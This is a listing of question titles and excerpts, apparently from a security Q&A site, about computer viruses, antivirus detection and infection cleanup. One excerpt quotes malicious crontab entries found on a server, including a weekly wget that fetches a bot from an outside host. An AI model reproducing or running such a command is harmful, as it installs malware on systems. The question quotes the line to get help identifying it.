A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.
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2answers
183 views
Safety of opening .txt files via URL
If I'm given a URL that points to a .txt file, is it always safe to open it? Can it possibly contain virus or malicious content?
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0answers
306 views
Why do complex viruses tend to be written in assembly? [closed]
For example Simile is extremely complex and is written in assembly. If something is going to be complicated isn't it best NOT to write it in assembly?
3
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1answer
134 views
Backdoor.ASP.Ace.C keeps showing up and being removed by f-secure
Backdoor.ASP.Ace.C is being found and removed from:
C:\Users[username]\AppData\Local\Temp[randomstring]
We have recently found some malicious aspx files on our IIS server that we have studied and ...
14
votes
5answers
823 views
Why would a virus writer bother to check to see if a machine is infected before infecting it?
I was looking at the tripartite structure of a virus, and it seems to check to see if a computer is infected before infecting it with the virus. Would this be an attempt to use files that are already ...
18
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4answers
1k views
Are anti-virus companies companies regularly committing software piracy?
As Mikko Hypponen highlighted in a recent tweet, anti-Virus companies collect and store both samples of malicious software and samples of legitimate software:
This got me to thinking, what ...
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2answers
1k views
Malware or buggy software gives Low Disk Space warning
Since a few days, I am getting an alert that in my c drive disk space is low. When I verified, free space in my c drive was decreasing hour by hour and there was a stage when it simply said that 0 mb ...
2
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2answers
113 views
How could one avoid virus infection via software updates
Almost all useful software get updated with time. Operating system updates, I "guess", might be less stringently checked by the normal anti-virus programs, since their sources could be considered to ...
3
votes
2answers
137 views
How to practically detect current system net traffic?
I know that some viruses or trojans can install rootkits or bootkits to change system's normal behaviour; AFAIK for example filter queries for running processes or even hide active TCP ports.
My ...
4
votes
6answers
1k views
Can i get 100% protection from virus by using Deep Freeze?
I have recently installed an application called 'Deep Freeze' that works by "freezing" the state of an operating system and working off delta disks. Rebooting deletes the deltas and reverts back to ...
3
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4answers
216 views
Has any virus attempted to compromise the anti-virus database?
I was using an old version of Norton Anti Virus and the Live Update wouldn't run. The solution was to rename a file. This got me thinking if a virus could replace an anti-virus database with it's own ...
19
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2answers
471 views
Cohen's problem
Fred Cohen determined theoritically that viral detetction is an undecidable problem. Can anyone provide an intuitive reasoning for that?
Background
Fred Cohen experimented with computer viruses ...
4
votes
1answer
2k views
What can I do to make sure my computer isn't infected with FinSpy?
What steps have been taken by common free software OS distributions to protect against it? What can Windows users do? What ways are there to rid a system of it?
2
votes
2answers
3k views
How does Remote Access Trojan / Backdoor Software work?
How does the RAT works? I understand it as once we surf the infected website, browser might download the trojan to our PC automatically. Will it executed and auto install in our computer?
I can't ...
1
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1answer
73 views
Two questions regarding Mixor worm
According to Symantec's write up "it also infects .exe and .scr files in folders containing [RANDOM CHARACTERS].t".
What if one of the .exe/.src files is run on the same computer - then all the ...
6
votes
3answers
2k views
Is it possible for a phishing link to install a major virus on a Mac?
My girlfriend recently had her university MS Exchange account hacked. The attacker took over her email account and started using it to send thousands of spam emails. After a while, her email account ...
8
votes
5answers
415 views
Finding Win32.Sality sample for malware analysis purposes
I wish to analyze the changes made by a virus like Win32.Sality. Where can I get the sample of this, or other similar, malware for testing?
3
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5answers
708 views
How can I know if my PC is getting infected?
I have installed an antivirus, but as no antivirus is perfect, what can I do to diagnose if my PC is getting infected?
For example, keeping a close eye on what programs and tasks run when I turn my ...
0
votes
2answers
176 views
How could an AV detect a virus that has a chance of not decrypting itself?
If I understand this correctly there is a chance the virus may not decrypt itself at all. How could an AV catch this?
In some cases, the decryptor may start with a header whose intent is
not ...
0
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1answer
195 views
Virus developers groups [closed]
Are there any groups of virus developers around anymore? Like 29A group and bunch of other groups few years ago. They never released their codes, never used then to steal data etc.
41
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6answers
2k views
Virus Encoded in Video
So I'm not familiar at all with IT Security, but I'm a bit curious about something. I was watching a TV show and at one point, a virus spreads through an office. They investigate and find out that the ...
-1
votes
1answer
103 views
Would this be plausible for a metamorphic virus? Not repeatedly infecting same system
Would this be plausible for a metamorphic virus? When a new generation (for lack of better word) is created it would hard code a random file name, that would be checked to see if the system was ...
12
votes
2answers
449 views
Is there a real possibility of getting malware by “drive-by”?
I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one?
Assuming using only Firefox / Chrome and ...
1
vote
1answer
124 views
What are the security issues relating to macro enabled MS office documents?
Are there any security issues relating to macro enabled MS office documents?
2
votes
4answers
341 views
Detecting malware hidden in P2P traffic
Consider a network situation involving (only) Peer to Peer traffic in medium sized network.
For the sake of convenience, a simple P2P application like DC++ may be assumed, although I am aiming at a ...
2
votes
3answers
122 views
Find changes and modifications made to system by application or virus,
I would like to use either Hyper-V or Vmware to take a Clean Base snapshot and a snapshot after an application or virus has made changes so I can then see what was changed between the two images.
...
5
votes
4answers
2k views
How does a trojan like Trojan:JS/BlacoleRef.BV infect a website?
Today I find out my website is infected with Trojan:JS/BlacoleRef.BV. The server is a shared server from a hosting company.
How does a trojan like this get on the webserver?
2
votes
1answer
194 views
How does malware such as Stuxnet and Flamer propagate through USB memory sticks?
The best explanation I found is from this article but it still is unclear to me. Apparently a new vulnerability has been found involving .lnk files where when a folder on the memory stick containing ...
5
votes
4answers
343 views
Would running VMs inside of VMs be a more secure way to study viruses, etc?
I was reading this post on SuperUser, and it made me wonder about security. I've read somewhere else that some viruses/malware/whatever CAN break outside of a VM... and then infect the host OS. BUT, ...
3
votes
2answers
575 views
Is SecureShellz bot a virus? How does it work?
I'm using a development server in which I found this in the crontab:
[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O ...
2
votes
2answers
299 views
Can a polymorphic/metamorphic worm use a mutex?
Can a polymorphic/metamorphic worm use (the same) mutex? This would solve the problem of grinding the network into the ground and consuming all resources with multiple instances of the worm. Is the ...
0
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0answers
228 views
Pcap file inspection [closed]
I have 3 packet capture, generated with Wireshark, of an example intrusion but I'm struggling to figure out whats going on.
I also tried running the pcap files in snort to see if it detected ...
3
votes
3answers
338 views
How do polymorphic/metamorphic/self-encrypting/self-changing file infectors know if they have infected a file or not?
If a virus rewrites itself for each infection how would it know if it has infected a file or not? If it keeps infecting the same file soon the whole file structure will be corrupt. For example how ...
2
votes
2answers
143 views
How do viruses know if they have already infected a system or done something?
I know some viruses repeat the same actions over and over again with no break, thus grinding the network to a halt. But others "take a break" from there repetitive actions.
For example Nimda ...
2
votes
2answers
191 views
Possible trojan/virus in memory?
I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
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vote
2answers
219 views
Why does Antivirus Softwares have an Issue with EXE Packers
Im trying to pack an Executable using an Exe Packer like UPX.I packed and checked the File with VirusTotal.com.Here some 9 Antivirus Products say its a Virus actually its a harmless exe.I think the AV ...
3
votes
2answers
847 views
How to detect a virus in a network card?
How can I know that a network card in a server was infected by a virus or not? Are there any methods to check it?
2
votes
3answers
791 views
Do I have a virus on my hosted site?
A few weeks ago I hired an outsourcer from India to build for me a very simple PHP site.
I bought PHP hosting and a domain name, and I gave him all the credentials together with the specification of ...
6
votes
4answers
481 views
Is there any chance PHP developers themselves implement backdoors in PHP core?
This is not a concern that I personally have,no! In my job environment I've heard from programmers and non programmers that PHP developers always put secret backdoors in PHP that no one has access to ...
3
votes
5answers
494 views
Clicked on fake “Download Now!” ad on file transfer site (legal file for legit purposes) by accident; does anyone know what measures I should take?
I was sent a file by a coworker via "sendshare" - my first time using the service. The page loaded a bit slowly and the ads came in before the actual download link. I was in a hurry to get the file - ...
0
votes
2answers
703 views
Will virus downloaded to guest OS affect Host OS? [duplicate]
Possible Duplicate:
How secure are virtual machines really? False sense of security?
If I download a file in Guest Windows XP machine in Vmware Workstation, which is a virus. Can it affect ...
3
votes
1answer
264 views
How antivirus companies create virus defnitions for new outbreaks
This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ?
Or they are ...
5
votes
2answers
5k views
Is Buzzdocks a security threat?
A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware.
It is not unknown to the internet community (Example 1, Example ...
1
vote
2answers
361 views
AVG Website Scan, Chance of 'Potential Threat'?
In a recent question I asked about investigating websites for viruses.
The answers were very helpful, I ended up using the AVG website scanner. First I used it on our website and found it was clean, ...
2
votes
2answers
654 views
How to check if a website is sending out a virus?
I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website.
3 out of 6 people in the office have gotten ...
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votes
2answers
193 views
Will winlock virus really delete information after 12 hours? [closed]
I've got virus which tells that all data will be deleted after 12 hours. I cleaned autorun and now scaning my computer with anti-virus, but still is this message just to scary people or is this virus ...
3
votes
3answers
646 views
How can winlock virus change Windows Registry without admin permission?
When you try to install program you'll always asked about administrator permission. Same thing when you try to user 'regedit' command.
So I'm interested in how does this virus works. How can it edit ...
2
votes
3answers
547 views
Cleaning a virus by mounting the infected hard disk on another machine?
I have a laptop that has been infected with a virus.
I am thinking of taking the disk out of the laptop, putting it into an external disk enclosure, and connecting it to a second laptop so I can run ...
1
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0answers
108 views
Hidden Registry Strings - possible rootkit? [closed]
Win server 2003 R2 SP2 - no noticeable issues on the machine. When I create new strings in regedit, I hit refresh and they are gone! I try to re-add and it complains the string already exists.
I am ...
2
votes
2answers
174 views
How can I protect content distributed on a linux virtual machine?
What assets am I trying to protect?
An unofficial pre-alpha software prototype provided as a reproducible example for evaluation during the scientific peer-review process. The software will be ...
2
votes
3answers
504 views
How to do a virus scan before post attachments in asp.net application
How to do a virus scan before post attachments in asp.net application,when they find a virus on to give up post attachments,otherwise proceed to upload.
I wonder if there are any APIs out there where ...
